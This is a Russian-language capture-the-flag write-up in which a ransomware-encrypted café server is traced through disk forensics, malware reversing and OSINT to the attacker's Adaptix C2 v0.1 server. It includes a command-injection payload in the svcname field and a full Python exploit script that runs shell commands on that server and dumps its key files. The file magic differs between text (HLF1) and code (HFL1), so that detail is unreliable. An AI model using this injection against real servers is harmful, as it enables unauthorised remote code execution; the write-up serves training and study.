Хак на лавандовом
АльфаЦТФ 2026
Сложность: Hard
Категории: Forensics, Linux, OSINT, Web
Автор задания: Никита Ильин (@yanik1ta), SPbCTF
Сегодня с утра вы, как обычно, зашли в любимую спешалти-кофейню Northwind Coffee Roasters за единственным в нашем городе рафом на лавандовом. Но в эту субботу что-то не так: у стойки стоит очередь, не движется. Бариста, обычно улыбчивая и быстрая, смотрит в экран кассы с выражением человека, который только что увидел, как его машина уезжает без него.
Оказалось, какой-то злодей зашифровал их сервер с кассой и всей бухгалтерией. Так дело не пойдёт, без кофе вы сегодня не уйдёте! Вы расталкиваете очередь и вызываетесь всё исправить и расшифровать.
Образ диска: CAFE_DISK_IMAGE.7z
Шаг 1 - Первичный анализ
Таск встречает нас двумя файлами образа диска в формате EnCase / Expert Witness Format (EWF). Откроем их в AutoPsy (можно и просто замонтировать в линукс) для первичного анализа файлов.
Сразу можно заметить много подозрительных файлов с расширением GSenc, предположительно зашифрованных. Все они имеют одинаковую структуру и сигнатуру HLF1. Дата и время шифрования файлов - 2026-03-22 20:44:43 MSK.
Поиск в интернете по сигнатуре файла, расширению по известным шифровальщикам результатов не дал, поэтому будем искать артефакты на хосте.
По пути /home/user/Documents/NorthwindCoffee/accounting/ был найден flag.txt.GSenc, предположительно флагстор таска.
bash_history почищен, в других логах артефактов запуска подозрительных файлов также не обнаружено, но в /var/tmp были обнаружены два файла:
Зареверсим их чтобы узнать, что они делают.
Шаг 2. Реверс вредоносов
Начнем с GS-encrypt, судя по названию это шифровальщик, который и энкриптнул все данные. Так как наша основная цель - восстановить flag.txt, то нам надо понять как шифруются файлы и как их дешифровать.
GS-encrypt - бинарник, написанный на GO.
Судя по флагам программы, это действительно наш шифратор.
В нем используется RSA. В функции main_loadPublicKey у нас в память записывается строчка с публичным ключом RSA для шифрования.
Чтобы зашифровать файл надо:
1. Использовать 32 случайных байта как AES_key для AES-256-GCM
2. Сгенерировать случайный nonce длиной gcm.NonceSize()
3. Зашифровать содержимое файла через AES-256-GCM
4. Зашифровать AES_key публичным RSA-ключом через RSA-OAEP-SHA256
5. Сформировать бинарный контейнер:
offset size field
0x00 4 magic
0x04 1 version
0x05 1 key algorithm id
0x06 1 data algorithm id
0x07 2 wrapped key length, uint16 big-endian
0x09 2 nonce length, uint16 big-endian
0x0B 4 ciphertext length, uint32 big-endian
0x0F N RSA-OAEP-SHA256 encrypted AES key
0x0F+N M AES-GCM nonce
0x0F+N+M K AES-GCM ciphertext + GCM auth tag
1. Прочитать первые 15 байт заголовка
2. Проверить magic/version/algo ids
3. Прочитать keyenc_len, nonce_len, ciphertext_len как big-endian
4. Извлечь keyenc, nonce, ciphertext
5. Расшифровать keyenc приватным RSA-ключом через RSA-OAEP-SHA256
6. Получить AES_key
7. Расшифровать ciphertext через AES-256-GCM с nonce и AAD=nil
Но в GS-encrypt приватного ключа RSA не найдено, идем дальше
agent.bin - более объемный, выполняет роль c2 агента для удаленного доступа атакующего к системе. Самое интересное, что мы можем достать отсюда - IP адрес или домен C2 сервера.
в main_main вызывается net_Dial
которой в параметры передается ip/domain сервера, который хранится в qword_A23888.
До этого у нас вызывается gopher_utils_DecryptData, где первые 16 байт v0 - ключ, остальное данные.
который после дешифровки кладет данные в Profile, Profile.Adresses которого потом как раз перемещается в qword_A23888
Данные которые дешифруются лежат в off_A17B30 -> off_A17B50 -> unk_9F59A0
Первые 16 байт - ключ, оставшиеся - данные. Общее количество данных - 0xA7 (лежало в off_A17B50)
Чтобы расшифровать, используем обычный AES-GCM, использующийся в gopher_utils_DecryptData. Первые 12 байт после key - nonce
key (16 bytes):
51 D9 74 9D F3 F6 42 D1 CC E3 44 38 82 D3 E6 4E
nonce:
7E 11 7D 14 AF D7 3F 92 06 9E F2 FC
encrypted+tag:
6B E7 18 70 78 BC 17 09 E8 64 20 74 71 E0 C5 19 8C 64 93 DC
76 58 95 C4 6C 73 71 F7 DB 65 72 1D 6E 88 1D 13 6B C7 1C AB
26 8A 74 D9 EA A9 EF 2A 40 B8 69 7F DA C0 A1 19 D8 D0 73 81
36 48 4A C5 31 98 AE 16 87 DA 4F 50 BB BD BE C6 5B 55 7B F0
F4 D6 41 AE C0 D7 7C F8 B9 DA 04 03 09 62 91 0F 49 33 73 B7
AE A9 E9 E9 B8 0C 39 51 A0 B3 7A 8D 5C 56 41 05 24 3E 2F 5D
6D 06 FB 4D A5 5A A7 52 C2 CA 9B 00 79 53 0F 4E 31 5E E5
Расшифровав и распарсив msgpack, получаем
{
"type": 2421052563,
"addresses": [
"cc.gigashad.xyz:4444"
],
"banner_size": 17,
"conn_timeout": 10,
"conn_count": 1000000000,
"use_ssl": false,
"ssl_cert": null,
"ssl_key": null,
"ca_cert": null
}Нашли домен и порт c2 сервера, будем копать туда.
Шаг 3. Gigashad
На cc.gigashad.xyz уже ничего не висит, но на основном домене gigashad.xyz есть сайт, на котором есть ссылка на телеграм-канал атакующего.
В телеграм канале несколько постов, в том числе пост о взломе и шифровании хоста, образ которого у нас есть, несколько постов для наполнения, но самый примечательный из всех постов - туториал по установке Adaptix C2 сервера.
В этом видео он "случайно" сливает важную информацию:
Содержимое корневой директории
Запуск сервера на стандартном профиле
Пароль из 4 символов и имя аккаунта
Шаг 4. Adaptix C2 0.1
Если мы перейдем по ссылке (которая тоже была в видео) на гитхаб Adaptix C2 сервера, то увидим, что 26.01.2025 вышла версия Adaptix C2 0.1
Склоним, переключимся на этот коммит, забилдим и попытаемся подключиться к серверу:
У нас действительно получилось подключиться, но клиент пустой, ничего нету, кроме попыток что-то сделать другими участниками.
Так как мы знаем что Adaptix C2 сервер запущен на хосте, где лежат DECRYPTION_KEYS, и единственный способ достучаться до этого хоста - через этот сервер, возникло предположение что в версии 0.1 существует некое RCE или задуманный функционал, позволяющий читать файлы на хосте.
Изучив исходный код сервера Adaptix v0.1 была найдена уязвимость типа command injection в ручке /agent/generate.
Изначально эта ручка должна была просто создавать бинарь под нужный listener, и отдать payload клиенту. Ручкой ожидался пейлоад типа:
{
"os": "windows",
"arch": "x64",
"format": "Exe",
"sleep": "4s",
"jitter": 0,
"svcname": "AgentService"
}Но поле svcname небезопасно подставлялось в команду, которая вызвается через exec.Command.
agentProfileSize := len(agentProfile) / 4
cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DSERVICE_NAME='\"%s\"' -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o",
Compiler, CFlag, ObjectDir, generateConfig.SvcName, string(agentProfile), agentProfileSize, tempDir)
runnerCmdConfig := exec.Command("sh", "-c", cmdConfig)
runnerCmdConfig.Dir = currentDir
runnerCmdConfig.Stdout = &stdout
runnerCmdConfig.Stderr = &stderr
err = runnerCmdConfig.Run()
if err != nil {
os.RemoveAll(tempDir)
return nil, "", errors.New(string(stderr.Bytes()))
}svcname подставлялось в команду вместо -DSERVICE_NAME='\"%s\"', и если в svcname подать пейлоад типа x' ; ({cmd}) >&2; exit 1; #, то agent/generate вместо бинаря возвращал вывод команды cmd.
Перед отправлением этой команды, необходимо создать listener на /listener/create.
Это полный RCE на хосте атакующего, по факту можно было сделать все что угодно, но так как нам необходимы только ключи для нашего образа, вытащим их:
import base64
import json
import secrets
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
URL = "https://lab.gigashad.xyz:4321/endpoint"
DIR = "/DECRYPTION_KEYS/Northwind_Coffee_Roasters"
r = requests.post(f"{URL}/login", json={"username": "gigashad", "password": "pass"}, verify=False, timeout=15)
token = r.json()["access_token"]
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
name = "L" + secrets.token_hex(4)
listener = {
"host_bind": "0.0.0.0",
"port_bind": "9999",
"callback_port": "9999",
"callback_servers": "lab.gigashad.xyz",
"urn": "/beacon.php",
"http_method": "POST",
"hb_header": "X-Beacon-Id",
"user_agent": "Mozilla/5.0",
"host_header": "",
"request_headers": "",
"x-forwarded-for": False,
"page-error": "404",
"page-payload": "OK <<<PAYLOAD_DATA>>> DONE",
"server_headers": "",
}
requests.post(
f"{URL}/listener/create",
headers=headers,
json={"name": name, "type": "external/http/BeaconHTTP", "config": json.dumps(listener)},
verify=False,
timeout=20,
)
svc = f"x' ; (cat {DIR}/* | base64 -w0) >&2; exit 1; #"
agent = {
"listener_name": name,
"listener_type": "external/http/BeaconHTTP",
"agent": "beacon",
"config": json.dumps({"os": "windows", "arch": "x64", "format": "Exe", "sleep": "1s", "jitter": 0, "svcname": svc}),
}
r = requests.post(f"{URL}/agent/generate", headers=headers, json=agent, verify=False, timeout=60)
data = [x.strip() for x in r.json()["message"].splitlines() if x.strip()][-1]
open("recovered_keys.bin", "wb").write(base64.b64decode(data))
print("saved recovered_keys.bin")В recovered_keys.bin будет содержание и приватного, и публичного ключа для расшифровки GSenc файлов.
Шаг 5. Финал
Осталось лишь написать дешифатор для расшифровки файлов из образа:
import argparse
import re
from pathlib import Path
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
def load_private_key(path: Path):
data = path.read_text("utf-8", errors="ignore")
m = re.search(
r"-----BEGIN RSA PRIVATE KEY-----.*?-----END RSA PRIVATE KEY-----",
data,
re.S,
)
if not m:
raise ValueError("private RSA key not found")
return RSA.import_key(m.group(0))
def parse_gsenc(data: bytes):
if len(data) < 15:
raise ValueError("file too short")
if data[:4] != b"HFL1":
raise ValueError("bad magic")
version = data[4]
key_algo = data[5]
data_algo = data[6]
key_len = int.from_bytes(data[7:9], "big")
nonce_len = int.from_bytes(data[9:11], "big")
ct_len = int.from_bytes(data[11:15], "big")
if version != 1 or key_algo != 1 or data_algo != 1:
raise ValueError(f"unsupported header: version={version} key_algo={key_algo} data_algo={data_algo}")
pos = 15
keyenc = data[pos:pos + key_len]
pos += key_len
nonce = data[pos:pos + nonce_len]
pos += nonce_len
ciphertext = data[pos:pos + ct_len]
if len(keyenc) != key_len or len(nonce) != nonce_len or len(ciphertext) != ct_len:
raise ValueError("truncated container")
return keyenc, nonce, ciphertext
def decrypt_file(enc_path: Path, key_path: Path, out_path: Path):
keyenc, nonce, ciphertext = parse_gsenc(enc_path.read_bytes())
priv = load_private_key(key_path)
aes_key = PKCS1_OAEP.new(priv, hashAlgo=SHA256).decrypt(keyenc)
plain = AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ciphertext[:-16], ciphertext[-16:])
out_path.write_bytes(plain)
return plain
def main():
ap = argparse.ArgumentParser()
ap.add_argument("enc", nargs="?", default="flag.txt.GSenc")
ap.add_argument("-k", "--key", default="recovered_keys.bin")
ap.add_argument("-o", "--out")
a = ap.parse_args()
enc = Path(a.enc)
out = Path(a.out or enc.with_suffix(""))
plain = decrypt_file(enc, Path(a.key), out)
print(f"saved {out}")
try:
print(plain.decode())
except UnicodeDecodeError:
print(plain)
if __name__ == "__main__":
main()После расшифровки flag.txt.GSenc, получили флаг: